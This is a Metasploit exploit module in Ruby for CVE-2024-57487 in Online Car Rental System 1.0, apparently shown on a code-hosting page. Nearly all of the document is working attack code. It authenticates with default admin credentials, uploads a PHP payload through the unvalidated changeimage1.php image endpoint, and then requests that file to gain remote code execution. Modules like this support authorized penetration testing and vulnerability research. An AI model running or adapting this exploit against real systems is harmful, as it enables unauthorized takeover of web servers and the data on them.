Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place. Commercial Alternative to JupyterHub.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = NormalRanking
8

9
  include Msf::Exploit::Remote::HttpClient
10
  include Msf::Exploit::PhpEXE
11

12
  def initialize(info = {})
13
    super(
14
      update_info(
15
        info,
16
        'Name' => 'Car Rental System 1.0 File Upload RCE (Authenticated)',
17
        'Description' => %q{
18
          This module exploits an authenticated remote code execution vulnerability in the
19
          Online Car Rental System 1.0 via the `changeimage1.php` endpoint. An authenticated
20
          attacker can upload malicious PHP scripts without proper validation, enabling
21
          arbitrary code execution on the server.
22
        },
23
        'Author' => ['Aaryan Golatkar'],
24
        'License' => MSF_LICENSE,
25
        'References' => [
26
          ['CVE', '2024-57487'],
27
          ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2024-57487'],
28
        ],
29
        'DisclosureDate' => '2025-01-13',
30
        'Platform' => 'php',
31
        'Arch' => ARCH_PHP,
32
        'Privileged' => false,
33
        'Targets' => [['Automatic', {}]],
34
        'DefaultTarget' => 0,
35
        'Notes' => {
36
          'Stability' => [CRASH_SAFE],
37
          'Reliability' => [REPEATABLE_SESSION],
38
          'SideEffects' => [ARTIFACTS_ON_DISK]
39
        }
40
      )
41
    )
42

43
    register_options(
44
      [
45
        OptString.new('TARGETURI', [true, 'Base path to Online Car Rental System', '/']),
46
        OptString.new('USERNAME', [true, 'The admin username', 'admin']),
47
        OptString.new('PASSWORD', [true, 'The admin password', 'Test@12345']),
48
      ]
49
    )
50
  end
51

52
  def check
53
    res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'admin/'))
54
    return CheckCode::Unknown('Failed to access the target.') unless res&.code == 200
55

56
    if res.body.include?('Car Rental Portal')
57
      return CheckCode::Detected('The target appears to be the Online Car Rental System.')
58
    end
59

60
    CheckCode::Safe('Online Car Rental System not detected')
61
  end
62

63
  def login
64
    print_status('Attempting to authenticate...')
65
    res = send_request_cgi(
66
      'uri' => normalize_uri(target_uri.path, 'admin/'),
67
      'method' => 'POST',
68
      'vars_post' => {
69
        'username' => datastore['USERNAME'],
70
        'password' => datastore['PASSWORD'],
71
        'login' => ''
72
      },
73
      'keep_cookies' => true
74
    )
75

76
    unless res&.code == 200 && res.get_cookies.include?('PHPSESSID')
77
      fail_with(Failure::NoAccess, 'Failed to authenticate with the target.')
78
    end
79

80
    print_good('Authentication successful.')
81
  end
82

83
  def upload_shell
84
    payload_name = "#{Rex::Text.rand_text_alphanumeric(5)}.php"
85
    payload = get_write_exec_payload(unlink_self: true)
86

87
    print_status("Uploading payload as #{payload_name}...")
88

89
    post_data = Rex::MIME::Message.new
90
    post_data.add_part(payload, 'application/x-php', nil, "form-data; name=\"img1\"; filename=\"#{payload_name}\"")
91
    post_data.add_part('', nil, nil, 'form-data; name="update"')
92

93
    res = send_request_cgi(
94
      'uri' => normalize_uri(target_uri.path, 'admin/changeimage1.php'),
95
      'method' => 'POST',
96
      'headers' => { 'Content-Type' => "multipart/form-data; boundary=#{post_data.bound}" },
97
      'vars_get' => { imgid: '1' },
98
      'data' => post_data.to_s
99
    )
100

101
    fail_with(Failure::UnexpectedReply, 'Failed to upload payload.') unless res&.code == 200
102

103
    print_good('Payload uploaded successfully.')
104
    payload_name
105
  end
106

107
  def exploit
108
    login
109
    payload_name = upload_shell
110
    payload_url = normalize_uri(target_uri.path, "admin/img/vehicleimages/#{payload_name}")
111

112
    print_status("Executing payload at #{payload_url}...")
113
    send_request_cgi(
114
      'uri' => payload_url,
115
      'method' => 'GET'
116
    )
117
  end
118
end
119

120